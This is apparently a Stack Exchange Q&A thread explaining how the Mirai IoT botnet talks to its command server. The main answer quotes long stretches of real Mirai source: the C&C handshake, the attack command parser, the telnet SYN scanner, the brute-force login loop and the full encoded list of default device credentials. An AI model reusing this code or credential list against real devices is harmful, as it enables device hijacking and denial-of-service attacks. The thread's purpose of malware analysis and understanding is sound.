5

I'm wondering how Mirai based botnets work. Specifically, I want to understand the communication mechanisms between the C&C servers and its bots. After reading this question I've understood that a bot finds a C&C server with a DNS query after being infected.

But how does the C&C server communicate with its bots? For example if it wants them to attack. Which protocols are used here? Is the communication encrypted?

As a programmer I'd love to see answers with reference to the Mirai source code.

1

2 Answers 2

19
+50

I guess i'll answer direct to your question since you mentioned you've understood that 'a bot finds a C&C server with a DNS query after being infected. (i'll get back to this statement at the bottom)

To answer your question, we have to delve deeper elsewhere as there are many parts to it in the source code.

1. how does the C&C server communicate with its bots?

In the code you can see various areas of communication

// Set up CNC sockets
if (fd_serv == -1)
establish_connection();

and

static void establish_connection(void)
{
#ifdef DEBUG
    printf("[main] Attempting to connect to CNC\n");
#endif

C&C is initialized here in this part of the code.

table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);

After which When Mirai is able to reach C&C successfully. The connectivity to C&C will take place.

table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);

For Mirai to get connected to the C&C, all it has to do is sent 4 bytes to the C&C.

                LOCAL_ADDR = util_local_addr();
                send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
                send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
                if (id_len > 0)
                {
                    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
                }

Then it will try to maintain connection here

if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {

2. For example if it wants them to attack.

For Machines infected by Mirai, they are set into infinite loop waiting for commands from the C&C Server.

When commands is received from C&C. These codes are the ones invoking the attack portion.

void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);

Which in turn it will execute

void attack_parse(char *buf, int len)
{
    int i;
    uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;

// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
    goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);

// Read in attack ID uint8_t
if (len == 0)
    goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);

// Read in target count uint8_t
if (len == 0)
    goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
    goto cleanup;

// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
    goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
    targs[i].addr = *((ipv4_t *)buf);
    buf += sizeof (ipv4_t);
    targs[i].netmask = (uint8_t)*buf++;
    len -= (sizeof (ipv4_t) + sizeof (uint8_t));

    targs[i].sock_addr.sin_family = AF_INET;
    targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}

// Read in flag count uint8_t
if (len < sizeof (uint8_t))
    goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);

// Read in all opts
if (opts_len > 0)
{
    opts = calloc(opts_len, sizeof (struct attack_option));
    for (i = 0; i < opts_len; i++)
    {
        uint8_t val_len;

        // Read in key uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        opts[i].key = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        // Read in data length uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        val_len = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        if (len < val_len)
            goto cleanup;
        opts[i].val = calloc(val_len + 1, sizeof (char));
        util_memcpy(opts[i].val, buf, val_len);
        buf += val_len;
        len -= val_len;
    }
}

errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);

3. Which protocols are used here?

The communication between the bots and the C&C are through “binary” protocols. Binary attacks command are passed to the QueueBuf function below and will be placed in a buffer queue.

func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}

Thereafter atkQueue channel will receive the command that is set in the buffer if the bot unit.

func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())

for {
    select {
    case add := <-this.addQueue:
        this.totalCount <- 1
        this.uid++
        add.uid = this.uid
        this.clients[add.uid] = add
        break
    case del := <-this.delQueue:
        this.totalCount <- -1
        delete(this.clients, del.uid)
        break
    case atk := <-this.atkQueue:
        if atk.count == -1 {
            for _,v := range this.clients {
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                }
            }
        } else {
            var count int
            for _, v := range this.clients {
                if count > atk.count {
                    break
                }
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                    count++
                }
            }
        }

4. Is the communication encrypted?

Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.

However the commands and hostname and ports are all encrypted as seen in the codes.

void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

Lastly, elaborating on your statement 'that a bot finds a C&C server with a DNS query after being infected.'

The bot does look for a domain name. Reason being so is that if a C&C needs a change of IP; the bot looking for the new C&C will still be able to find it. Domain names can always be pointed to different ip addresses.

5. So how does Mirai target IOT devices?

The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.

SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports

    // Set up raw socket scanning and payload
    if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
    #ifdef DEBUG
        printf("[scanner] Failed to initialize raw socket, cannot scan\n");
    #endif
        exit(0);
    }

Mirai will try to listen for responses from the targets after the SYN Scan

        if (fake_time != last_spew)
        {
            last_spew = fake_time;

            for (i = 0; i < SCANNER_RAW_PPS; i++)
            {
                struct sockaddr_in paddr = {0};
                struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
                struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

                iph->id = rand_next();
                iph->saddr = LOCAL_ADDR;
                iph->daddr = get_random_ip();
                iph->check = 0;
                iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

                if (i % 10 == 0)
                {
                    tcph->dest = htons(2323);
                }
                else
                {
                    tcph->dest = htons(23);
                }
                tcph->seq = iph->daddr;
                tcph->check = 0;
                tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

                paddr.sin_family = AF_INET;
                paddr.sin_addr.s_addr = iph->daddr;
                paddr.sin_port = tcph->dest;

                sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
            }
        }

Finding targets are random, it will then move on to the next ip address probing again.

    static ipv4_t get_random_ip(void)
    {
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
    }

Mirai will then go to the next phase in a typical TCP handshake and send an ACK packet attempt to get a response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323

    last_avail_conn = 0;
    while (TRUE)
    {
    int n;
    char dgram[1514];
    struct iphdr *iph = (struct iphdr *)dgram;
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    struct scanner_connection *conn;

    errno = 0;
    n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
    if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
        break;

    if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
        continue;
    if (iph->daddr != LOCAL_ADDR)
        continue;
    if (iph->protocol != IPPROTO_TCP)
        continue;
    if (tcph->source != htons(23) && tcph->source != htons(2323))
        continue;
    if (tcph->dest != source_port)
        continue;
    if (!tcph->syn)
        continue;
    if (!tcph->ack)
        continue;
    if (tcph->rst)
        continue;
    if (tcph->fin)
        continue;
    if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
        continue;

    conn = NULL;
    for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
    {
        if (conn_table[n].state == SC_CLOSED)
        {
            conn = &conn_table[n];
            last_avail_conn = n;
            break;
        }
    }

Once the above are done. A TCP Session is then Established between Mirai and the target.

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);
        for (i = 0; i < SCANNER_MAX_CONNS; i++)
        {
            int timeout;

            conn = &conn_table[i];
            timeout = (conn->state > SC_CONNECTING ? 30 : 5);

            if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
            {
    #ifdef DEBUG
                printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
    #endif
                close(conn->fd);
                conn->fd = -1;

                // Retry
                if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
                {
                    if (++(conn->tries) == 10)
                    {
                        conn->tries = 0;
                        conn->state = SC_CLOSED;
                    }
                    else
                    {
                        setup_connection(conn);
    #ifdef DEBUG
                        printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                    }
                }
                else
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                continue;
            }

Mirai will then perform password enumeration here

            if (FD_ISSET(conn->fd, &fdset_rd))
            {
                while (TRUE)
                {
                    int ret;

                    if (conn->state == SC_CLOSED)
                        break;

                    if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                    {
                        memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                        conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                    }
                    errno = 0;
                    ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                    if (ret == 0)
                    {
    #ifdef DEBUG
                        printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
    #endif
                        errno = ECONNRESET;
                        ret = -1; // Fall through to closing connection below
                    }
                    if (ret == -1)
                    {
                        if (errno != EAGAIN && errno != EWOULDBLOCK)
                        {
    #ifdef DEBUG
                            printf("[scanner] FD%d lost connection\n", conn->fd);
    #endif
                            close(conn->fd);
                            conn->fd = -1;

                            // Retry
                            if (++(conn->tries) >= 10)
                            {
                                conn->tries = 0;
                                conn->state = SC_CLOSED;
                            }
                            else
                            {
                                setup_connection(conn);
    #ifdef DEBUG
                                printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                            }
                        }

and attempt to login using common weak passwords and default passwords.

    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker

Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.


Regarding Binary Data Binary Data is not really about a whole new Level 4 kind of communication. Basically sending and receiving binary data is more about the start and the finish. How do you start the sending and interpret at the end point. Again as said in the comments; Pipes and sockets communicate binary data across just the same as text data.

Some links for your reference

Mozilla Article on Sending and Reading Binary Data

Typed Array Guide

6
  • Definitly +1 for your answer, what I haven't understood how is the binary data you mention sent? I thought of setting up a webserver as the other answer mentioned it. But how does Mirai do this?
    – Phonolog
    Feb 20, 2017 at 20:03
  • 2
    if you meant are there any special layer 4? no not really. Pipes and sockets communicate binary data across just the same as text data. Mirai CNC are coded in GO and meant to read binary data from the bots code which are written in C. There are other languages which can read binary data too. Let me edit the answers and put some links there for your reference
    – Lester T.
    Feb 20, 2017 at 20:18
  • Regarding raw bytes, you experience exactly this on a bare FTP / telnet shell, only it sends bytes in a printable range.
    – J.A.K.
    Feb 20, 2017 at 21:27
  • Thank you for that information, @Lester. I assumed they listened to a private IRC channel but now see it is more complex than that. I do have a follow-up question for you, please: Can this botnet be provisioned? Like say to have 1/5 of it attack service X and another 1/8 on server Y, etc? --The only other question I have is why the attacks don't go on for weeks at a time when they have so much capacity. Instead, we see hours or maybe a few days.
    – SDsolar
    Feb 21, 2017 at 0:05
  • 1
    Perfect Answer this one.
    – KanekiDev
    Feb 21, 2017 at 10:33
0

Well:

According to my little knowledge:

But how does the C&C server communicate with its bots?

Well, there are many ways for a botnet to communicate with the C&C: IRC (as said by Farhan.K, HTTP, etc... Most times the bot connects to a DNS to obtain easy orders. (It's not hard to create your own HTTP server that answers few single words, for example "attack victim", on every request). Other times, are connecting P2P, so every bot connects to each other and the commands sent by the botmaster are made with encryption (read more HERE).

In our current case, Mirai malware is preconfigured with a kind of address that is resolved by a single DNS query to connect with the C&C server prepared. Once the infected IoT device "memorizes" the IP (it can be changed by botnet master), it receives a binary stream with the orders/commands.

Which protocols are used here?

There are many protocols to use, HTTP with any kind of response, IRC, P2P, ... and probably some others that we can't even imagine.

In case of Mirai malware, it seems they use the following protocols:

  • Telnet to access the vulnerable IoT devices.
  • DNS query to resolve the address of the C&C server.
  • Binary unencrypted stream to receive orders from the C&C server.
  • TCP STOMP: to send the flooding requests.

But it would be (probably) easy to reconfigure Mirai malware to use another kind of communication protocol with the server.

Is the communication encrypted?

In case of Mirai botnet, communications are not encrypted.

In other botnets: Most times it's not required, but in case of P2P botnets, but highly recommendable.

As a programmer I'd love to see answers with reference to the source code

I would not share source code of such a dangerous tool on the net, but this time it's easy to find out what you're looking for.

Somebody named Anna-Senpai that is supposed to be the responsible of some attacks, and maybe the famous MIRAI malware; released what is supposed to be the MIRAI's source code.

As posted by the mate in the comments, you can find it here:

Mirai Source Code

Also here, you can find some other useful information:

At last, my final advice: Remember that using these kind of tools is a crime, and you should never use it for own profit.

4
  • 1
    He is asking about the Mirai botnet... Your answer is broad and doesn't address Mirai at all.
    – MiaoHatola
    Feb 20, 2017 at 17:24
  • Well i agree with you im maybe a bit broad in my answer. I just wanted to point that there are many differences in botnets. I may rewrite my answer to be more concrete a bit later.
    – KanekiDev
    Feb 20, 2017 at 17:58
  • That would be great. In its current state this answer does not say for sure what way mirai communicates, but still takes half a page to do it.
    – J.A.K.
    Feb 20, 2017 at 21:23
  • Sorry for late editing, i've been busy at work and had not time at home due to my own home tasks. Also was a bit hard to find few links for our mate to let him read further.
    – KanekiDev
    Feb 21, 2017 at 10:31

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .